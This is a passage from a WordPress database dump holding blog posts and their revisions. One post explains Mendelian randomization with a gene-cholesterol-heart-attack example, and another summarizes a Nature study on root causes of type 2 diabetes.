-->\n\n<!-- wp:paragraph -->\n<p>Let’s also cross out 2, 3, and 5. We know from our experiments that this SNP directly impacts cholesterol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This leaves us with 4 and 6 to get rid of. These are actually surprisingly difficult to deal with, as we need to make sure that it’s only the lowered cholesterol that impacts heart attacks and nothing else. The researcher needs to make sure their analysis controls for all other confounders, like by carefully matching up observations by subjects who are similar in every other way except for cholesterol. This does mean that we have to make a big assumption that we know every other way that heart attack rates can be impacted, which is not necessarily true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we can make that assumption<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-3-140806883\">3</a>, we end with the only remaining path, which is the first option. This is the causative path: the SNP caused the decrease in cholesterol which lowered the rate of heart attacks. Or, to use Wikipedia’s handy diagram, we’re only left with Z caused X which caused Y:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8100f02d-db95-4a63-9ede-68dc31ccf422_962x588.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8100f02d-db95-4a63-9ede-68dc31ccf422_962x588.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And that’s how we can prove causation from correlation in genetics, subject to a key assumption that we know all possible confounders. It’s pretty cool. Does it have any application outside of genetics?<br><br>I think so. As long as we can start with something that’s totally independently determined (e.g. we know that A causes B and B definitely does not cause A), and as long as we know there is a causal connection between A and B, we can apply this framework. I’ll be on the lookout for other places to apply it, and you can let me know if you have any ideas as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-1-140806883\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Taking this example from&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1001/jama.2017.17219\">here</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-2-140806883\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the real study linked in footnote 1, they found the opposite: the SNP lowers the rate of HDL cholesterol but does not impact the rate of heart attacks. This was actually an important way to prove that HDL cholesterol does not impact the rate of heart attacks, which added to the dietary debate about “good” and “bad” cholesterol. But this analysis is confusing enough without talking about proving a lack of causation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-3-140806883\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia lists 3 assumptions needed for Mendelizan randomization:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Relevance: the genetic variant causes the exposure. In our example, the relevance is that variation in the ABCA1 gene can cause levels of cholesterol to change as determined by mouse experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Independence: nothing causes both the genetic variant and the outcome. That was a given for our example, and for almost any genetic condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. No horizontal pleiotropy: the genetic variant doesn’t cause anything that would cause the outcome other than the exposure. That was the “big assumption” I mentioned, that the gene variant couldn’t affect heart attacks except through changes in cholesterol.&nbsp;</p>\n<!-- /wp:paragraph -->','Mendelian randomization, or causation from correlation','','publish','closed','closed','','mendelian-randomization-or-causation-from-correlation','','','2024-06-12 16:13:41','2024-06-12 16:13:41','',0,'https://trevorklee.com/?page_id=429',0,'page','',0),
(430,1,'2024-06-12 16:13:41','2024-06-12 16:13:41','<!-- wp:paragraph -->\n<p>Correlation doesn’t equal causation. We all have this beaten into our heads by legions of Internet commenters who spam it under every science article.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, why not?<br><br>Well, the simple answer is because just because A and B happen at around the same time doesn’t mean A causes B. B could cause A, or something else could cause both of them, or maybe they have nothing to do with each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I was an Internet commentator, I’d just leave it there. But, let’s think like a scientist. What if we ruled out every possible other path from A to B, besides the path that A causes B? Would that mean that A causes B?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br><br>I mean, well, yeah, right? That’s kind of what a controlled experiment is for. It rules out every other possibility besides A causing B. If we, say, use a catapult to launch a boulder, we can say the movement of the catapult caused the boulder to be launched, even though technically the movement of the catapult was just correlated with the boulder. But we know for sure the boulder didn’t cause the movement of the catapult, and that the two didn’t just happen to both happen at around the same time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is an interesting, but not particularly useful way to think about an experiment. It can, however, be a very useful way to think about observations. If we observe A and B are correlated, and we rule out every other possibility other than A causing B, A has to have caused B.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is exactly how Mendelian randomization works. Mendelian randomization is a way of showing that genetic variation can cause a certain outcome, like a certain “single nucleotide polymorphism” (a one letter substitution in the genetic code) can cause someone to be statistically more susceptible to heart attacks. We can use Mendelian randomization to show this by correlation alone, which is really neat. Let’s get into how we do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We start with a genetic variation. Let’s stick with our heart attack example, and say there’s a mutation in the ABCA1 gene<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-1-140806883\">1</a>. We think that has something to do with heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our first task is to identify a way in which the ABCA1 gene could impact heart attacks. It’s obviously not going to impact heart attacks directly, but it could impact it through cholesterol levels, which we already know from prior experiments in mice that the ABCA1 gene impacts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We now have our basic setup: we want to check if the gene variant’s impact on cholesterol levels impacts the chance of heart attacks. So, now we can take a bunch of people who have the genetic variant and who don’t, and measure their levels of cholesterol and their chance of heart attack. We’ll eventually get some statistics on who has the genetic variant, what their cholesterol levels are, and who got heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s say that, in our statistics, we find that people with a certain SNP have a statistically lower level of HDL cholesterol but an lower rate of heart attacks compared to normal people<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-2-140806883\">2</a>. This is our correlation. Let’s run through our possible paths as to why this might be.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) The SNP causes a decrease in cholesterol, which lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) The SNP causes something else, which lowers the rate of heart attacks. The lowered cholesterol happens for some completely different reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) The SNP directly lowers the rate of heart attacks. The lowered cholesterol happens for some completely different reason.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) The SNP causes the decrease in cholesterol. Something else lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Something else causes the SNP, the lowered rate of cholesterol, and the heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) The SNP causes the decrease in cholesterol and also, through a separate mechanism, lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7) The lowered rate of cholesterol causes the SNP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our goal is to narrow it down to only 1. Let’s see what we can cross out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start by crossing out 7. Genetic variations are fixed at birth, and definitely can’t be caused by something in the body.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s also cross out 2, 3, and 5. We know from our experiments that this SNP directly impacts cholesterol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This leaves us with 4 and 6 to get rid of. These are actually surprisingly difficult to deal with, as we need to make sure that it’s only the lowered cholesterol that impacts heart attacks and nothing else. The researcher needs to make sure their analysis controls for all other confounders, like by carefully matching up observations by subjects who are similar in every other way except for cholesterol. This does mean that we have to make a big assumption that we know every other way that heart attack rates can be impacted, which is not necessarily true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we can make that assumption<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-3-140806883\">3</a>, we end with the only remaining path, which is the first option. This is the causative path: the SNP caused the decrease in cholesterol which lowered the rate of heart attacks. Or, to use Wikipedia’s handy diagram, we’re only left with Z caused X which caused Y:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8100f02d-db95-4a63-9ede-68dc31ccf422_962x588.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8100f02d-db95-4a63-9ede-68dc31ccf422_962x588.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And that’s how we can prove causation from correlation in genetics, subject to a key assumption that we know all possible confounders. It’s pretty cool. Does it have any application outside of genetics?<br><br>I think so. As long as we can start with something that’s totally independently determined (e.g. we know that A causes B and B definitely does not cause A), and as long as we know there is a causal connection between A and B, we can apply this framework. I’ll be on the lookout for other places to apply it, and you can let me know if you have any ideas as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-1-140806883\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Taking this example from&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1001/jama.2017.17219\">here</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-2-140806883\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the real study linked in footnote 1, they found the opposite: the SNP lowers the rate of HDL cholesterol but does not impact the rate of heart attacks. This was actually an important way to prove that HDL cholesterol does not impact the rate of heart attacks, which added to the dietary debate about “good” and “bad” cholesterol. But this analysis is confusing enough without talking about proving a lack of causation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-anchor-3-140806883\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia lists 3 assumptions needed for Mendelizan randomization:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Relevance: the genetic variant causes the exposure. In our example, the relevance is that variation in the ABCA1 gene can cause levels of cholesterol to change as determined by mouse experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Independence: nothing causes both the genetic variant and the outcome. That was a given for our example, and for almost any genetic condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. No horizontal pleiotropy: the genetic variant doesn’t cause anything that would cause the outcome other than the exposure. That was the “big assumption” I mentioned, that the gene variant couldn’t affect heart attacks except through changes in cholesterol.&nbsp;</p>\n<!-- /wp:paragraph -->','Mendelian randomization, or causation from correlation','','inherit','closed','closed','','429-revision-v1','','','2024-06-12 16:13:41','2024-06-12 16:13:41','',429,'https://trevorklee.com/?p=430',0,'revision','',0);
INSERT INTO `wp4v_posts` VALUES
(431,1,'2024-06-12 16:15:21','2024-06-12 16:15:21','<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">I. “But Why?”</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taiichi Ohno, a Japanese engineer who helped to create the Toyota Production System, once described a five-step system to identify the root cause of a problem. It’s called the&nbsp;<a href=\"https://en.wikipedia.org/wiki/Five_whys\">Five Whys</a>, and it works like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car doesn’t start. A mechanic begins their diagnosis by asking “Why does the car not start?” and finds the culprit: a dead battery. A good mechanic continues the interrogation and probes deeper, asking, “Why is the battery dead?”&nbsp; It’s because the alternator is broken. The mechanic evaluates each issue as it comes up, one-by-one, and asks “why?” each time. Eventually, several whys down, it becomes clear that the alternator was not maintained on a proper service schedule. This is the root cause.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trickiest problems that we face in life are often multifactorial, yet we tend to address only the most proximate causes. But when it comes to solving complex problems, diagnosing and addressing them from the onset is usually more effective than firefighting after a spark has grown into an inferno. This is especially true in medicine, where the temporal gap between the initiation of the disease (a random genetic mutation, say) and the appearance of symptoms makes finding the root cause difficult.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where a technique like the Five Whys can be applied to great effect.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<a href=\"https://www.nature.com/articles/s41586-023-06693-2\">recent study in&nbsp;</a><em><a href=\"https://www.nature.com/articles/s41586-023-06693-2\">Nature</a></em>&nbsp;shows the utility of Toyota’s approach. For the study, the authors, led by scientists from Vanderbilt University in Tennessee, investigated type 2 diabetes, a disease most often treated based on proximate causes, such as high blood sugar, and tried to find the root cause. In doing so, they not only illuminated the molecular pathways that lead to type 2 diabetes, but also provided a template for other scientists to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to receive essays from Asimov Press.Subscribe</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>II. The Investigation</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Obesity gets most of the blame for diabetes. A high waist circumference, eating too much sugar, and sleep deprivation are all risk factors. According to this view, obesity and these other factors eventually lead, somehow, to pancreatic malfunctioning. Insulin prompts cells to take up sugar from the blood, but in people with diabetes, the pancreas stops making insulin, and the rest of the body begins to resist the insulin signal. A low amount of insulin, combined with insulin resistance, causes high blood sugar. That, in turn, makes the blood toxic and messes up the kidneys, brain, and much else besides.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there’s a lot missing from this story. Not everyone who is obese has type 2 diabetes, nor does everyone who eats a lot of sugar or carries certain genetic mutations. There’s no smoking gun; merely a lot of circumstantial “risk factors” that sometimes combine to make things go wrong. It is also unclear how these risk factors can cause&nbsp;<em>both&nbsp;</em>the pancreas to stop making insulin&nbsp;<em>and</em>&nbsp;cause cells to resist the insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, less-than-definitive paths of causation are par for the course in medicine. It is difficult to study complex diseases because science is often limited to tightly-controlled environments – and animal models – that don’t always accurately reflect the real world.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the recent&nbsp;<em>Nature&nbsp;</em>paper, the scientists dug down through the causes of diabetes. For the first of their whys, they asked:&nbsp;<em>Why do beta cells inside the pancreas secrete less insulin?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For decades, scientists had noticed that people with diabetes make less insulin. As the condition progresses, the beta cells that make the insulin proteins dwindle and die off, diminishing insulin levels further. But it’s difficult to understand why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc4e8cd-6580-4494-b36b-7ea2be01662c_515x515.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc4e8cd-6580-4494-b36b-7ea2be01662c_515x515.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\"><strong>Beta cells are located in the Islet of Langerhans within the pancreas.&nbsp;</strong>Beta cells (green) make insulin and alpha cells (red) make glucagon, a hormone that increases blood sugar levels. Cell nuclei are stained blue. Credit:&nbsp;<a href=\"https://academic.oup.com/eep/article/5/3/dvz015/5553867\">Li&nbsp;</a><em><a href=\"https://academic.oup.com/eep/article/5/3/dvz015/5553867\">et al.</a>&nbsp;</em>(2019).</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The researchers began by taking beta cells from people with early-stage diabetes and from people without diabetes. Insulin secretion was impaired in the cells from diabetics, but the production and storage of the molecule was not. In other words, the beta cells make a normal amount of insulin, but the molecule is trapped inside. To ensure that this problem stemmed from beta cells themselves and not the pancreas as a whole, the researchers transplanted the diabetic beta cells and the healthy beta cells into healthy mice, and – voila! – the diabetic beta cells still secreted less insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>Well, the pancreas is a three-dimensional organ. Cells are not flat; they exist as part of a sprawling network of other cells that surround and support one another. The researchers wanted to see if something might be wrong with this network, so they stained beta cells in the mice and then peered at them using a microscope. They noticed a single difference between the diabetic and non-diabetic pancreas: the former&nbsp;<em>had smaller blood capillaries</em>, which makes it more difficult for nutrients to reach the beta cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This finding was confirmed statistically, using something called a “cellular neighborhood study.” In diabetic cells, capillary cells were less likely to be connected to beta cells and more likely to be connected to immune cells, compared to the non-diabetic cells. A lack of nutrients had physically altered the cellular network within the pancreas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>A capillary shrinks over time – it’s a temporal process – but science is often limited to static snapshots. Mice are raised in cages and then sacrificed so that their organs can be studied under a microscope. But this approach merely studies the cells as they exist at one moment in time.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To understand&nbsp;<em>why&nbsp;</em>capillaries shrink in the pancreas, the scientists had to figure out what might have happened&nbsp;<em>before&nbsp;</em>they shrank. So the researchers opted to study the transcriptome, or the record of genes expressed in the diabetic and non-diabetic pancreas. Ideally, the scientists hoped to find some obvious connection, or at least correlation, between genes and outcomes. But they didn’t. The only difference was that early-stage diabetics had slight changes in genes associated with cilia, a hair-like structure that cells use to move water around. Early-stage diabetics also had more cilia in their pancreas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>Again using transcriptomics, the scientists began to look for a “hub gene” that could connect&nbsp;<em>cilia</em>&nbsp;to&nbsp;<em>shrunken capillaries</em>. And they found it in RFX6, a gene that had already been linked to diabetes in other studies. RFX6 is reduced in people with type 2 diabetes and has also been linked to insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One can often “see what a gene does” by knocking it out, or at least diminishing its presence, from a cell. The scientists used a short strand of RNA to “knock down” expression of RFX6 in insulin-producing cells grown in a culture dish. Knocking down the gene did not harm the beta cells, but it did block them from secreting insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Connecting RFX6 to the cilia and capillaries, though, was more challenging. The scientists knocked-down RFX6 in cells yet again, and compared them to cells with normal levels of RFX6. But this time, they did an experiment called single-nucleus multiome profiling. This enabled them to look at every gene that is altered between the two bunches of cells. Cells with knocked-down RFX6 levels had many genes associated with actin filament-based movement and synaptic signaling go&nbsp;<em>up</em>&nbsp;and genes linked to membrane trafficking, cell recycling, and ciliary pathways go<em>&nbsp;down</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In sum: RFX6 is a gene that helps cells dispose of waste. As capillaries shrink, they are less able to remove waste. Cilia levels then increase in an attempt to compensate. People with type 2 diabetes likely secrete less insulin because cells in the pancreas progressively lose their ability to remove waste products, which further damages capillaries and causes them to shrink.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">III. Scientific Method</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This paper is an important investigation into diabetes. But I would argue that it’s even more important for its methodology.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So many studies, over the long arc of biological research, have stopped at the first “why?” This study, on the other hand, took a full ten years of work and many failed experiments to complete. It’s painful-going to pursue the&nbsp;<em>Five Whys&nbsp;</em>in science, but if we truly want to understand the cause of complex, chronic diseases, such as Alzheimer’s or Parkinson’s, then we almost certainly need to follow such a process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Medicine is stuck right now because research into all sorts of chronic diseases has been myopic. It is often easiest to target the obvious, proximate cause of a disease, and then focus mechanical experiments on that. Academics striving to keep a regular publishing schedule often trigger, say, Parkinson’s-like symptoms in mice directly through chemical injections, spend a few months treating the mice, and then wrap up the data analysis within 6 months so that a paper can be published by year’s end.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can do better. Of course, the job of a researcher is often more difficult than that of a mechanic. There are no service manuals for scientific discovery, and scientists are often beholden to unsympathetic funders. Still, we must try to find root causes in biology and medicine, rather than continue to observe epicycles, where sometimes obesity causes diabetes but sometimes doesn’t, and the only way to predict which one it will be is whether Mercury is in retrograde. Messy correlations are a sign of an immature science, and that’s as true today as it was in the early days of modern medicine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took more than two-thousand years, from&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/19787658/\">Thucydides’ observations of contagion</a>&nbsp;to&nbsp;<a href=\"https://science.umd.edu/classroom/bsci424/BSCI223WebSiteFiles/KochsPostulates.htm\">Koch’s postulates</a>&nbsp;of microbial infection, for a thorough, root cause analysis of why close contact with an infected person can cause a healthy person to become sick. But hopefully now, with more papers like this one, we won’t have to wait quite so long.</p>\n<!-- /wp:paragraph -->','5 Whys of Diabetes','','publish','closed','closed','','5-whys-of-diabetes','','','2024-06-12 16:15:21','2024-06-12 16:15:21','',0,'https://trevorklee.com/?page_id=431',0,'page','',0),
(432,1,'2024-06-12 16:15:21','2024-06-12 16:15:21','<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">I. “But Why?”</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taiichi Ohno, a Japanese engineer who helped to create the Toyota Production System, once described a five-step system to identify the root cause of a problem. It’s called the&nbsp;<a href=\"https://en.wikipedia.org/wiki/Five_whys\">Five Whys</a>, and it works like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car doesn’t start. A mechanic begins their diagnosis by asking “Why does the car not start?” and finds the culprit: a dead battery. A good mechanic continues the interrogation and probes deeper, asking, “Why is the battery dead?”&nbsp; It’s because the alternator is broken. The mechanic evaluates each issue as it comes up, one-by-one, and asks “why?” each time. Eventually, several whys down, it becomes clear that the alternator was not maintained on a proper service schedule. This is the root cause.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trickiest problems that we face in life are often multifactorial, yet we tend to address only the most proximate causes. But when it comes to solving complex problems, diagnosing and addressing them from the onset is usually more effective than firefighting after a spark has grown into an inferno. This is especially true in medicine, where the temporal gap between the initiation of the disease (a random genetic mutation, say) and the appearance of symptoms makes finding the root cause difficult.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where a technique like the Five Whys can be applied to great effect.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<a href=\"https://www.nature.com/articles/s41586-023-06693-2\">recent study in&nbsp;</a><em><a href=\"https://www.nature.com/articles/s41586-023-06693-2\">Nature</a></em>&nbsp;shows the utility of Toyota’s approach. For the study, the authors, led by scientists from Vanderbilt University in Tennessee, investigated type 2 diabetes, a disease most often treated based on proximate causes, such as high blood sugar, and tried to find the root cause. In doing so, they not only illuminated the molecular pathways that lead to type 2 diabetes, but also provided a template for other scientists to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to receive essays from Asimov Press.Subscribe</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>II. The Investigation</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Obesity gets most of the blame for diabetes. A high waist circumference, eating too much sugar, and sleep deprivation are all risk factors. According to this view, obesity and these other factors eventually lead, somehow, to pancreatic malfunctioning. Insulin prompts cells to take up sugar from the blood, but in people with diabetes, the pancreas stops making insulin, and the rest of the body begins to resist the insulin signal. A low amount of insulin, combined with insulin resistance, causes high blood sugar. That, in turn, makes the blood toxic and messes up the kidneys, brain, and much else besides.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there’s a lot missing from this story. Not everyone who is obese has type 2 diabetes, nor does everyone who eats a lot of sugar or carries certain genetic mutations. There’s no smoking gun; merely a lot of circumstantial “risk factors” that sometimes combine to make things go wrong. It is also unclear how these risk factors can cause&nbsp;<em>both&nbsp;</em>the pancreas to stop making insulin&nbsp;<em>and</em>&nbsp;cause cells to resist the insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, less-than-definitive paths of causation are par for the course in medicine. It is difficult to study complex diseases because science is often limited to tightly-controlled environments – and animal models – that don’t always accurately reflect the real world.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the recent&nbsp;<em>Nature&nbsp;</em>paper, the scientists dug down through the causes of diabetes. For the first of their whys, they asked:&nbsp;<em>Why do beta cells inside the pancreas secrete less insulin?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For decades, scientists had noticed that people with diabetes make less insulin. As the condition progresses, the beta cells that make the insulin proteins dwindle and die off, diminishing insulin levels further. But it’s difficult to understand why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc4e8cd-6580-4494-b36b-7ea2be01662c_515x515.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc4e8cd-6580-4494-b36b-7ea2be01662c_515x515.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\"><strong>Beta cells are located in the Islet of Langerhans within the pancreas.&nbsp;</strong>Beta cells (green) make insulin and alpha cells (red) make glucagon, a hormone that increases blood sugar levels. Cell nuclei are stained blue. Credit:&nbsp;<a href=\"https://academic.oup.com/eep/article/5/3/dvz015/5553867\">Li&nbsp;</a><em><a href=\"https://academic.oup.com/eep/article/5/3/dvz015/5553867\">et al.</a>&nbsp;</em>(2019).</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The researchers began by taking beta cells from people with early-stage diabetes and from people without diabetes. Insulin secretion was impaired in the cells from diabetics, but the production and storage of the molecule was not. In other words, the beta cells make a normal amount of insulin, but the molecule is trapped inside. To ensure that this problem stemmed from beta cells themselves and not the pancreas as a whole, the researchers transplanted the diabetic beta cells and the healthy beta cells into healthy mice, and – voila! – the diabetic beta cells still secreted less insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>Well, the pancreas is a three-dimensional organ. Cells are not flat; they exist as part of a sprawling network of other cells that surround and support one another. The researchers wanted to see if something might be wrong with this network, so they stained beta cells in the mice and then peered at them using a microscope. They noticed a single difference between the diabetic and non-diabetic pancreas: the former&nbsp;<em>had smaller blood capillaries</em>, which makes it more difficult for nutrients to reach the beta cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This finding was confirmed statistically, using something called a “cellular neighborhood study.” In diabetic cells, capillary cells were less likely to be connected to beta cells and more likely to be connected to immune cells, compared to the non-diabetic cells. A 